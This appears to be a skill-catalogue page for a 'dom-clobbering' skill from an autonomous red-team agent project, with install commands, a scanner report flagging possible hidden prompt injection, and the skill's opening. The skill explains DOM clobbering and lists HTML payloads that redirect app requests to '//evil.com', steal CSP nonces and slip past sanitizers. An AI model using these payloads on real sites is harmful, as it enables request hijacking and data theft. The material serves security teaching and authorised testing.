Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill dom-clobberinggit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/dom-clobbering)<a href="https://agentmods.dev/skills/purpleailab/decepticon/dom-clobbering"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dom-clobbering/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/dom-clobbering"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dom-clobbering.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Prompt Injection · line 21 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00033 | $0.01099 |
| Opus 5 | $0.00016 | $0.00549 |
| Sonnet 5 | $0.00007 | $0.00220 |
| Haiku 4.5 | $0.00003 | $0.00110 |
Grade A, and why
dom-clobbering scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
fetch(window.config.endpoint + '/data'); Copies of this mod
1 near-identical copy found in the catalogue:
- dom-clobbering — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 128 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DOM Clobbering
Named HTML elements (<form>, <a>, <input>, <img>) with name=
or id= are accessible as JavaScript properties of window and document.
If app code does if (window.config.endpoint) and attacker can inject
HTML (even sanitized), they can replace window.config with an HTML
element.
1. The classic
<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
fetch(window.config.endpoint + '/data');
}
</script>
<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>
window.config resolves to the form. window.config.endpoint resolves
to the input. .endpoint is now "//evil.com". App fetches from evil.
2. Common targets
window.locationoverwrite (anchor w/id=location)- Library global config (jQuery's
$.cookie, etc) - CSP nonce/source values read from globals
document.cookie(limited but exploitable)window.onerrorclobber
3. Payload patterns
Single-element clobber
<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->
Multi-level clobber (a.b.c)
<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->
<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->
CSP nonce theft
<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->
Cookie attribute hijack
<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->
4. Where to inject
DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 128 lines · 33 tokens per session scan A 8a298150abe3
dom-clobbering is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 12d ago), licensed Apache-2.0. It adds 33 tokens to every session and 1,099 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
inline-widget
Inline HTML widgets: charts, dashboards, data tables rendered directly in the chat via ShowWidget.
api-crud-generator
A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.
frontend-design
Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
landingpage-generator
You are a professional Landing page designer who is very friendly and supportive. Your task is to guide a beginner through planning and designing a landing page or personal portfolio. Follow these instructions.
vibe-ppt
Convert this into a web based slide deck using reveal.js.